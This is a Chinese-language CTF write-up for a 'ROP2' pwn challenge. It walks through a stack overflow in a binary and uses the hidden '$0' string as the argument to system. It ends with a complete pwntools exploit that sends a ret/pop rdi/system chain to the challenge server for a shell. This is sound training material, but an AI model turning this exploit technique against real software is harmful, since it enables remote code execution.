神奇的$0 题目信息:
ROP2
看来你已经知道怎么控制参数除了sh,在unix/linux中还有一个神奇的参数也能达到rce的效果你能找到它吗?
首先看题
1 2 3 4 5 (base) ┌──(cure㉿LAPTOP-CMAM5D0J)-[~/CTF/pwn/13] └─$ /bin/checksec --file=pwn RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 42 Symbols No 0 2 pwn
通过IDA PRO反汇编 找到main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 ; Attributes: bp-based frame ; int __fastcall main(int argc, const char **argv, const char **envp) public main main proc near buf= byte ptr -30h ; __unwind { endbr64 push rbp mov rbp, rsp sub rsp, 30h mov eax, 0 call init mov rax, 9173003024h mov rsi, rax lea rax, format ; "Before start I can give you my luck_num"... mov rdi, rax ; format mov eax, 0 call _printf lea rax, command ; "echo Start your attack" mov rdi, rax ; command call _system lea rax, [rbp+buf] mov edx, 100h ; nbytes mov rsi, rax ; buf mov edi, 0 ; fd call _read mov eax, 0 leave retn ; } // starts at 4011EA main endp _text ends
重点观察
其中可以看到明显的栈溢出
sub rsp, 30h 0x30 = 48
mov edx, 100h ; nbytes 0x100 = 256
buf仅有48字节,而 缓冲区有 256字节,因此可以覆盖返回地址
通过偏移计算得出
offset = 48 + 8 = 56
观察 _system
1 2 3 4 5 6 7 ; Attributes: thunk ; int system(const char *command) _system proc near endbr64 bnd jmp cs:off_404020 _system endp
+通过strings -a pwn | grep "/bin/sh" 没有任何返回,加上题目提示,可以判断该二进制本体中没有明显可直接利用的 /bin/sh 字符串,我们需要利用其他参数来构造rce
这题我没有通过pwngdb去调试,直接通过objdump搜索函数地址
1 2 3 4 5 (base) ┌──(cure㉿LAPTOP-CMAM5D0J)-[~/CTF/pwn/13] └─$ objdump -d pwn | grep system 0000000000401080 <system@plt>: 401084: f2 ff 25 95 2f 00 00 bnd jmp *0x2f95(%rip) 40122b: e8 50 fe ff ff call 401080 <system@plt>
首先得到了system的地址
然后已知system第一个参数就是command 我们直接搜索 pop rdi
1 2 3 4 5 6 7 8 (base) ┌──(cure㉿LAPTOP-CMAM5D0J)-[~/CTF/pwn/13] └─$ ROPgadget --binary pwn | grep "pop rdi" 0x0000000000401199 : cli ; push rbp ; mov rbp, rsp ; pop rdi ; ret 0x0000000000401196 : endbr64 ; push rbp ; mov rbp, rsp ; pop rdi ; ret 0x000000000040119c : mov ebp, esp ; pop rdi ; ret 0x000000000040119b : mov rbp, rsp ; pop rdi ; ret 0x000000000040119e : pop rdi ; ret 0x000000000040119a : push rbp ; mov rbp, rsp ; pop rdi ; ret
system = 0x401080
为了栈对齐,去搜索ret的地址
1 2 3 (base) ┌──(cure㉿LAPTOP-CMAM5D0J)-[~/CTF/pwn/13] └─$ ROPgadget --binary pwn | grep " : ret$" 0x000000000040101a : ret
ret = 0x40101a
现在缺少一个 sh
mov rax, 9173003024h
以及运行时第一段输出
Before start I can give you my luck_number : 1929392164
这是一个Tips
代码中的立即数是 mov rax, 9173003024h
前三个字节是 0x24 0x30 0x00 -> "$0\x00"
这是其中隐藏的字符串 $0
这也是我们利用的点
在pwndbg中验证
1 2 pwndbg> x/s 0x401202 0x401202 <main+24>: "$0 "
至此得出 cmd_addr = 0x401202
我们构建payload的全部因素凑齐了,我们现在什么也不缺了
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *context.binary = './pwn' context.arch = 'amd64' p = remote("nc1.ctfplus.cn" ,26523 ) offset = 56 ret = 0x40101a pop_rdi = 0x40119e cmd_addr = 0x401202 system = 0x401080 p.recvuntil(b'Start your attack\n' ) payload = flat( b'A' * offset, ret, pop_rdi, cmd_addr, system ) p.send(payload) p.interactive()